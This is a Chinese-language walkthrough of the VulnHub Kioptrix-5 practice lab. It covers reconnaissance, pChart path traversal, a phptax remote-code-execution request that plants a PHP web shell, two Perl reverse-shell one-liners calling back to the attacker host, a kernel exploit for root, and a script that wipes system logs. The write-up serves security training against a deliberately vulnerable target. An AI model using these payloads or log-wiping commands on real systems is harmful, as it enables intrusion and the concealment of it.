vulnhub靶场之【kioptrix-5】靶机

server/2025/3/3 5:15:12/

前言

靶机:kioptrix-5,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

都采用VMware虚拟机,网卡为桥接模式

这里需要注意,在靶机安装后,先把原本的网卡删除,重新添加一个网络适配器,并选择桥接模式即可,这里在靶机的官方也是给出了这个问题。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.1.74 -p- -T4

这里看到扫描出的ssh当前处于关闭状态

网站信息探测

访问80端口,发现相当于网站的默认界面

查看页面源代码,发现一个注释中的信息,提供一个url,可能是网站目录

把这个url拼接在80端口的目录,发现应该是一个cms

使用whatweb工具或者wappalyzer插件分析网站构造

采用apache2.2.21(freeBSD)版本,扩展mod_ssl2.2.21版本,php版本5.3.8

既然这里给了url,是否有其他可能,直接使用工具进行扫描测试

工具选择很多,这里采用dirsearch扫描的,也可以使用gobuster、ffuf、dirb等工具

dirsearch -u http://192.168.10.10/pChart2.1.3/ -x 404

访问readme.txt,确定该cms的版本

漏洞寻找及利用

使用searchsploit搜索有无对应的漏洞,发现有一个文档

查看文档,里面记录了该cms存在的漏洞,包括xss和文件包含,路径遍历

当前来看,xss可能无法给予更多的东西,尝试路径,测试后发现,该方式确实可以

因为靶机采用apache,所以,尝试默认的日志文件路径,看能否查看

测试默认的/etc/apache2路径后,发现配置文件httpd.confapache.conf都无

之前在使用whatweb扫描出的靶机是freeBSD的,所以百度一下,其默认的界面,或者访问官方文档

当然这也可以通过前面的路径遍历,根据收集的字典去进行爆破,也是可以的

首先查看配置文件,查看一圈,发现并未有把任何文件都解析为php的,或者把日志文件解析为php也是没有的,不过在配置文件中,发现一个信息

那么访问8080端口进行测试,发现直接访问就是403,那么就是与这个配置有关,需要指定user-agentMozilla/4.0 Mozilla4_browser

不过这里因为所有8080端口的请求都需要该user-agent,所以推荐使用浏览器插件user-agent switch and manager这个可以使得浏览器在访问的时候,一直采用固定的user-agent

这个界面也挺像某种cms的,只是不知道是否有漏洞,搜索了一下,其最新版本是2002.08版本

反弹shell

使用searchsploit搜索,发现除了使用msf外,有两种形式,远程代码执行倒是符合现在所需要的

查看第二个文件25849.txt,整体是一个php脚本,更改名称后可用,并且其中是有用法的,若是采用这种方式,需要修改脚本中的user-agent

这里我采用脚本中的关键代码进行测试

http://192.168.10.10:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

在浏览器的url中构造即可,然后后面再通过访问前面构造的文件,即可触发

http://192.168.10.10:8080/phptax/data/rce.php?cmd=id

这时候就可以构造反弹shell的代码测试

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.10.6:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

在尝试众多的反弹shell后,这个语句成功获取

推荐一个网站吧,这里反弹shell挺多的https://forum.ywhack.com/reverse-shell/

提权

进入后,发现并不能切换目录,并且大部分都是无法使用,可能获取的shell,并没有sh的原因,不过可以直接使用命令sh,这样就可以切换目录等操作,不过即使这样也是无用

或者另开一个nc监听,构造perlsh的情况,经测试,靶机只有sh

perl -e 'use Socket;$i="192.168.10.6";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里反弹成功后,对于sh有个提示,说是无权tty,以及任务控制关闭

使用find寻找到具有SUID权限的文件后,经过测试也是无法使用的,可参考网站https://gtfobins.github.io

收集靶机内核版本信息

内核信息有了,使用searchsploit搜索,发现有对应的内核版本提权

有文件。那么现在就是想办法传输,测试有哪些命令吧

ncgcc,那么使用nc传输文件

然后使用gcc编译文件后,执行后就获取root权限

查看/root目录下的东西

还有一个日志清空的脚本,查看脚本内容

rm /root/folderMonitor.log
rm /var/log/sendmail.st.0
echo "" > /root/.history
echo "" > /var/log/httpd-access.log
echo "" > /var/log/httpd-error.log
echo "" > /usr/local/ossec-hids/logs/alerts/alerts.log
echo "" > /var/log/messages
echo "" > /var/log/lpd-errs
echo "" > /var/log/auth.log
echo "" > /var/log/maillog
echo "" > /var/log/security
echo "" > /var/log/userlog
echo "" > /var/log/xferlog
echo "" > /var/log/cron
echo "" > /var/log/sendmail.st
echo "" > /var/log/utx.lastlogin
echo "" > /var/log/utx.log
echo "" > /var/log/ppp.log
echo "" > /var/log/debug.log

总结

该靶机的考察有以下几点值得思考

  1. 对于信息收集能否全面,或者说能否更详细,这里就是因为收集到靶机的网站为freeBSD搭建的apache框架,然后才能想到去搜索配置文件的默认路径
  2. 对于网站出现的cms,可以尝试去搜索有无历史漏洞,要理解漏洞形成
  3. 对于反弹shell,要多尝试,所以才会有各种各样的反弹shell,这里还只是基本层面的
  4. 对于提权,也要会收集靶机信息,这里只是内核提权,若是有多台机器,也要去思考

http://www.ppmy.cn/server/171977.html

相关文章

【03】STM32F407 HAL 库框架设计学习

【03】STM32F407 HAL 库框架设计学习 摘要 本文旨在为初学者提供一个关于STM32F407微控制器HAL&#xff08;Hardware Abstraction Layer&#xff09;库框架设计的详细学习教程。通过本文&#xff0c;读者将从零开始&#xff0c;逐步掌握STM32F407的基本知识、HAL库的配置步骤…

贪心算法 求解思路

贪心算法简介 贪心算法是通过做一系列的选择来给出某一问题的最优解。对算法中的每一个决策点&#xff0c;做一个当时&#xff08;看起来是&#xff09;最佳的选择。这种启发式策略并不是总能产生出最优解&#xff0c;但它常常能给出最优解。 在实际设计贪心算法时&#xff0…

(视频教程)Compass代谢分析详细流程及python版-R语言版下游分析和可视化

不想做太多的前情解说了&#xff0c;有点累了&#xff0c;做了很久的内容&#xff0c;包括整个分析&#xff0c;从软件安装和报错解决到后期下游python版-R语言版下游分析和可视化&#xff01;单细胞代谢分析我们写过很多了&#xff0c;唯独少了最“高级”的compass&#xff0c…

Vue3 Hooks:从原理到实战封装指南

一、Hooks 的定义与核心价值 在 Vue3 的 Composition API 体系中&#xff0c;Hooks&#xff08;组合式函数&#xff09; 是通过封装响应式逻辑来实现代码复用的核心方案。其核心思想借鉴 React Hooks&#xff0c;但结合 Vue 的响应式系统形成了独特的实现方式。 与传统方案的…

【MySQL】MySQL用户管理

文章目录 一、用户 1.用户信息2.创建用户3.删除用户4.修改用户密码 二、数据库的权限 1.给用户授权2.回收权限 一、用户 如果我们只能使用root用户&#xff0c;这样存在安全隐患。这时&#xff0c;就需要使用MySQL的用户管理。 1.用户信息 我们安装mysql之后&#xff0c;会…

雷军力荐学 AI,背后隐藏着怎样的时代密码?

本文围绕雷军力荐学 AI 展开&#xff0c;剖析 AI 发展现状、核心技术&#xff0c;阐述 C 在 AI 的应用&#xff0c;分析 AI 带来的机遇与挑战&#xff0c;还指明学习路径&#xff0c;强调个人学 AI 顺应时代且意义重大&#xff1b;欢迎大家阅读丫&#xff01;&#xff01;&…

Unity中动态切换光照贴图的方法

关键代码&#xff1a;LightmapSettings.lightmaps lightmapDatas; LightmapData中操作三张图&#xff1a;lightmapColor,lightmapDir,以及一张ShadowMap 这里只操作前两张&#xff1a; using UnityEngine; using UnityEngine.EventSystems; using UnityEngine.UI;public cl…

React + TypeScript 实现数据模型驱动 SQL 脚本生成

React TypeScript 实现数据模型驱动 SQL 脚本生成全栈实践 引言&#xff1a;数据模型与 SQL 的桥梁革命 在现代化全栈开发中&#xff0c;数据模型与数据库的精准映射已成为提升开发效率的关键。传统手动编写 SQL 脚本的方式存在模式漂移风险高&#xff08;Schema Drift&#…